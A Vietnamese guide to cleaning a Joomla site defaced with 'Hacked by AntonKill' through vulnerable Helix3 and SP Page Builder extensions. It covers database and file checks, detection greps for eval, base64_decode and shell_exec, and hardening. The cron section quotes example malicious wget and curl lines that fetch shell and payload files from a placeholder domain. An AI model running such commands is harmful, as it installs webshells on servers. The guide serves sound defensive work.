Vấn đề này đặc biệt thường gặp ở các website Joomla sử dụng JoomShaper Helix3, Helix Framework, Helix Ajax, SP Page Builder hoặc các template cũ chưa được cập nhật. Theo các thảo luận hỗ trợ từ JoomShaper, nhiều trường hợp bị chèn mã lạ vào phần Custom JavaScript / Custom CSS trong template settings, sau đó làm trang web hiển thị màn hình “Hacked by AntonKill”. JoomShaper cũng hướng dẫn người dùng kiểm tra Custom JavaScript và cập nhật cả System - Helix3 Framework và Helix3 - Ajax lên phiên bản mới nhất.

1. Dấu hiệu website Joomla đã bị hack
Website có thể đã bị tấn công nếu xuất hiện một hoặc nhiều dấu hiệu sau:
- Trang chủ hiển thị dòng chữ “Hacked by AntonKill”.
- Website bị chuyển sang giao diện lạ, nền đen, chữ đỏ, nhạc nền hoặc hiệu ứng bất thường.
- Một số trang vẫn hoạt động, nhưng trang chủ hoặc menu chính bị lỗi.
- Template bị mất cấu hình: logo, màu sắc, CSS, JavaScript, layout bị reset.
- Trong phần template settings xuất hiện mã JavaScript hoặc CSS lạ.
- Google cảnh báo website không an toàn.
- Hosting báo có file nghi ngờ malware, nhưng quét nhanh lại không thấy file virus rõ ràng.
- Website bị lỗi 404, 500 hoặc giao diện vỡ sau khi xóa mã lạ.
Điểm nguy hiểm của sự cố này là mã độc có thể không nằm trong file riêng biệt. Trong nhiều trường hợp, mã bị chèn trực tiếp vào database, cụ thể là phần cấu hình template. Vì vậy, chỉ tìm và xóa file lạ trên hosting có thể chưa đủ.
2. Việc cần làm ngay khi phát hiện website bị hack
Khi thấy website bị deface, không nên vội xóa lung tung. Hãy xử lý theo thứ tự an toàn sau.
Bước 1: Tạm thời đưa website về chế độ bảo trì
Nếu vẫn vào được quản trị Joomla, hãy bật chế độ bảo trì:
System → Global Configuration → Site Offline: Yes
Nếu không vào được admin, có thể tạm thời chặn truy cập bằng hosting, Cloudflare hoặc đổi tên file index.php sau khi đã backup. Mục tiêu là ngăn khách hàng tiếp tục nhìn thấy nội dung bị hack và hạn chế mã độc hoạt động thêm.
Bước 2: Sao lưu toàn bộ website trước khi sửa
Trước khi xóa bất kỳ file hoặc dữ liệu nào, cần backup toàn bộ:
- Toàn bộ mã nguồn website.
- Database MySQL.
- File
.htaccess. - File
configuration.php. - Thư mục
images,templates,plugins,components,modules. - Log truy cập nếu hosting cho phép tải về.
Việc backup giúp kỹ thuật viên có thể kiểm tra dấu vết tấn công, khôi phục nếu sửa sai và xác định chính xác lỗ hổng ban đầu.
Có thể backup bằng hosting/cPanel hoặc dùng lệnh SSH:
tar -czf backup-joomla-files.tar.gz public_html
mysqldump -u database_user -p database_name > backup-joomla-database.sql
Lưu ý: bản backup này là bản sau khi bị hack, không dùng để khôi phục lâu dài nếu chưa được làm sạch.
3. Kiểm tra website có dùng Helix3 hoặc JoomShaper không
Vào quản trị Joomla và kiểm tra:
Extensions → Manage → Manage
Tìm các từ khóa:
- Helix3
- Helix Framework
- Helix Ajax
- SP Page Builder
- JoomShaper
Hoặc kiểm tra trong hosting các thư mục:
/templates/
/plugins/system/helix3/
/plugins/system/helixultimate/
/components/com_sppagebuilder/
/administrator/components/com_sppagebuilder/
Nếu website đang dùng Helix3 hoặc SP Page Builder, cần ưu tiên cập nhật và kiểm tra phần Custom Code của template. Một số phân tích độc lập về sự cố AntonKill cũng cho rằng website cần cập nhật Helix3 lên bản có bản vá bảo mật từ 3.1.1 trở lên, hiện nhiều hướng dẫn đang khuyến nghị 3.1.2 và cập nhật cả plugin System - Helix3 Framework lẫn Helix3 - Ajax.
4. Xóa mã độc trong Template Options
Đây là bước quan trọng nhất với trường hợp “Hacked by AntonKill”.
Vào Joomla Admin:
Extensions → Templates → Styles
Sau đó chọn template đang được dùng làm mặc định. Thường sẽ có biểu tượng ngôi sao ở cột Default.
Tiếp theo mở:
Template Options → Custom Code
Kiểm tra kỹ các ô sau:
- Custom JavaScript
- Custom CSS
- Before
</head> - Before
</body> - Custom Code
- Tracking Code
- Google Analytics Code nếu có
Nếu thấy đoạn mã lạ như:
<script>
...
Hacked by AntonKill
...
</script>
hoặc đoạn JavaScript dài bất thường, mã bị rối, mã eval, atob, base64, document.write, innerHTML, iframe lạ, link lạ, hãy xóa toàn bộ phần đáng nghi.
Sau khi xóa, bấm Save & Close, sau đó xóa cache Joomla và cache trình duyệt.
Vào:
System → Clear Cache
Chọn tất cả cache và xóa.
Tiếp tục vào:
System → Purge Expired Cache
Sau đó mở website bằng cửa sổ ẩn danh để kiểm tra.
5. Kiểm tra trực tiếp trong database nếu không vào được Joomla Admin
Nếu không thể truy cập trang quản trị, cần kiểm tra database bằng phpMyAdmin.
Vào phpMyAdmin, mở database của website Joomla, tìm bảng:
#__template_styles
Trong đó #__ là prefix database của website. Ví dụ có thể là:
jos_template_styles
abc123_template_styles
p9w8y_template_styles
Chạy câu lệnh kiểm tra, nhớ thay jos_ bằng prefix thật của website:
SELECT id, home, template, title, params
FROM jos_template_styles
WHERE params LIKE '%Anton%'
OR params LIKE '%anton%'
OR params LIKE '%Hacked%'
OR params LIKE '%trenggalek%'
OR params LIKE '%<script%'
OR params LIKE '%base64%'
OR params LIKE '%eval(%'
OR params LIKE '%atob(%';
Nếu thấy mã lạ trong cột params, hãy export bảng đó ra trước để backup, sau đó chỉnh sửa rất cẩn thận.
Không nên xóa toàn bộ dòng template style nếu không chắc chắn, vì có thể làm mất cấu hình giao diện. Cách an toàn hơn là mở nội dung params, tìm đoạn mã bị chèn trong phần custom code rồi xóa đúng đoạn đó.
Sau khi sửa database, quay lại website và xóa cache.
6. Cập nhật Helix3, Helix Ajax, SP Page Builder và Joomla
Sau khi xóa mã độc hiển thị, cần cập nhật ngay các thành phần liên quan. Nếu chỉ xóa dòng “Hacked by AntonKill” mà không vá lỗ hổng, website có thể bị hack lại.
Trong Joomla Admin, vào:
Extensions → Manage → Update
Bấm:
Clear Cache / Purge Cache / Find Updates
Sau đó cập nhật:
- Joomla Core nếu có bản mới.
- Helix3 Framework.
- Helix3 Ajax.
- Helix Ultimate nếu website dùng.
- SP Page Builder.
- Tất cả extension bên thứ ba.
Joomla có trang Security Centre để công bố các bản vá bảo mật chính thức cho Joomla Core. Với các website Joomla đang hoạt động lâu năm, việc cập nhật core và extension là yêu cầu bắt buộc để giảm nguy cơ bị khai thác lỗ hổng đã biết.
Nếu website đang dùng Joomla 3 quá cũ, cần lên kế hoạch nâng cấp lên phiên bản Joomla còn được hỗ trợ. Joomla có tài liệu riêng cho các phiên bản đã hết vòng đời và khuyến nghị nên nâng cấp website sang phiên bản được hỗ trợ sớm nhất có thể.
7. Quét file mã độc trên hosting
Sau khi xử lý database và cập nhật extension, cần kiểm tra file trên hosting.
Các vị trí thường cần kiểm tra:
/
/administrator/
/components/
/modules/
/plugins/
/templates/
/images/
/media/
/tmp/
/cache/
Tìm các file PHP lạ trong thư mục không nên có PHP, đặc biệt là:
/images/
/media/
/tmp/
/cache/
Có thể dùng SSH để tìm file PHP trong thư mục hình ảnh:
find public_html/images -type f -name "*.php"
find public_html/media -type f -name "*.php"
find public_html/tmp -type f -name "*.php"
find public_html/cache -type f -name "*.php"
Tìm file mới bị sửa trong 7 ngày gần nhất:
find public_html -type f -mtime -7 -print
Tìm các chuỗi đáng nghi:
grep -R "AntonKill" public_html
grep -R "trenggalek" public_html
grep -R "base64_decode" public_html
grep -R "eval(" public_html
grep -R "shell_exec" public_html
grep -R "passthru" public_html
grep -R "gzinflate" public_html
Không phải file nào có base64_decode hoặc eval cũng chắc chắn là mã độc, nhưng đây là tín hiệu cần kiểm tra kỹ.
Nếu phát hiện file lạ, không nên xóa ngay nếu chưa backup. Hãy đổi tên file để vô hiệu hóa trước, ví dụ:
file.php
đổi thành:
file.php.suspected
Sau đó kiểm tra website còn hoạt động không.
8. So sánh file với bản Joomla sạch
Cách an toàn nhất là tải bản Joomla đúng phiên bản hoặc bản mới nhất tương thích, sau đó so sánh các thư mục core.
Không nên chỉnh sửa trực tiếp các file core của Joomla. Nếu phát hiện file core bị thay đổi, nên thay bằng file sạch từ gói Joomla chính thức.
Các thư mục core cần kiểm tra:
/administrator/
/includes/
/libraries/
/layouts/
/components/
/modules/
/plugins/
Tuy nhiên, cần cẩn thận vì một số extension hợp lệ cũng nằm trong components, modules, plugins. Nếu không chắc, hãy nhờ kỹ thuật viên kiểm tra trước khi xóa.
9. Kiểm tra file .htaccess
File .htaccess rất hay bị chèn redirect độc hại.
Mở file:
/public_html/.htaccess
Kiểm tra các dòng lạ như:
RewriteRule
RewriteCond
Redirect
base64
php_value auto_prepend_file
Nếu thấy redirect đến domain lạ, link rút gọn, domain casino, thuốc, adult, crypto scam hoặc trang không liên quan, cần xóa.
Có thể thay .htaccess bằng file chuẩn của Joomla, nhưng cần giữ lại các cấu hình quan trọng như SSL, www/non-www, cache hoặc rule riêng của website nếu có.
10. Đổi toàn bộ mật khẩu
Sau khi website bị hack, cần đổi toàn bộ mật khẩu liên quan:
- Mật khẩu Joomla Super User.
- Mật khẩu hosting/cPanel/DirectAdmin.
- Mật khẩu FTP/SFTP.
- Mật khẩu SSH.
- Mật khẩu database.
- Mật khẩu email quản trị.
- Mật khẩu tài khoản Cloudflare nếu có.
- Mật khẩu tài khoản quản lý tên miền.
Trong Joomla, kiểm tra danh sách user:
Users → Manage
Xóa hoặc khóa các tài khoản lạ, đặc biệt là tài khoản có quyền Super User.
Joomla Security Checklist cũng khuyến nghị reset mật khẩu quản trị và thực hiện quy trình khôi phục một cách có hệ thống sau khi website bị hack hoặc deface.
11. Kiểm tra quyền file và thư mục
Thiết lập quyền file/thư mục sai có thể làm website dễ bị ghi đè hoặc chèn mã độc.
Thông thường nên dùng:
Folder: 755
File: 644
configuration.php: 444 hoặc 400 nếu hosting hỗ trợ
Không nên để quyền:
777
cho thư mục hoặc file nếu không thật sự cần thiết.
Tài liệu Joomla cũng khuyến nghị sau khi website ổn định nên đặt quyền thư mục là 755 và file là 644 để tăng an toàn.
12. Kiểm tra cron job và file tự chạy
Một số mã độc có thể tạo cron job để tự phục hồi sau khi bị xóa.
Trong hosting/cPanel, kiểm tra:
Cron Jobs
Xóa các lệnh lạ gọi đến file PHP không rõ nguồn gốc.
Ví dụ đáng nghi:
php /home/user/public_html/images/file.php
wget http://domain-la.com/shell.txt
curl http://domain-la.com/payload.php
Nếu dùng SSH, kiểm tra cron:
crontab -l
13. Kiểm tra Google Search Console
Sau khi làm sạch website, cần kiểm tra website có bị Google cảnh báo hay không.
Vào Google Search Console:
- Security Issues.
- Manual Actions.
- Indexing.
- Pages.
- Sitemaps.
Nếu có cảnh báo bảo mật, sau khi xử lý xong hãy gửi yêu cầu review lại.
Ngoài ra, nên tìm trên Google:
site:tenmiencuaban.com
Nếu thấy các tiêu đề lạ như casino, thuốc, adult, crypto scam hoặc tiếng nước ngoài không liên quan, website có thể đã bị spam SEO. Trường hợp này cần kiểm tra thêm database bài viết, menu, redirect và sitemap.
14. Bật bảo mật bổ sung sau khi khôi phục
Sau khi website hoạt động lại, nên bổ sung các lớp bảo vệ:
Cài bảo mật đăng nhập admin
- Đổi đường dẫn quản trị nếu có thể.
- Bật xác thực 2 lớp cho tài khoản Super User.
- Giới hạn IP truy cập
/administratornếu phù hợp. - Chặn đăng nhập sai nhiều lần.
Cấu hình firewall
Có thể dùng Cloudflare hoặc firewall của hosting để:
- Chặn bot độc hại.
- Bật WAF.
- Bật chống brute force.
- Bật SSL đầy đủ.
- Chặn quốc gia nếu website chỉ phục vụ thị trường nhất định.
Tắt extension không dùng
Gỡ bỏ:
- Template cũ không dùng.
- Plugin cũ không dùng.
- Component không rõ nguồn gốc.
- Extension không còn được nhà phát triển cập nhật.
Extension càng nhiều, bề mặt tấn công càng lớn.
15. Khi nào nên khôi phục từ backup sạch?
Nếu website bị nhiễm nặng, mất nhiều file, có nhiều tài khoản lạ hoặc bị chèn spam SEO hàng loạt, cách tốt nhất là khôi phục từ bản backup sạch trước ngày bị hack.
Quy trình an toàn:
- Chọn bản backup trước thời điểm bị tấn công.
- Dựng lại trên môi trường test.
- Cập nhật Joomla, template và extension trước khi đưa lên lại.
- Đổi toàn bộ mật khẩu.
- Quét file và database.
- Chỉ public website khi đã chắc chắn sạch.
Không nên restore backup cũ rồi đưa lên ngay nếu chưa cập nhật, vì website có thể bị hack lại bởi cùng một lỗ hổng.


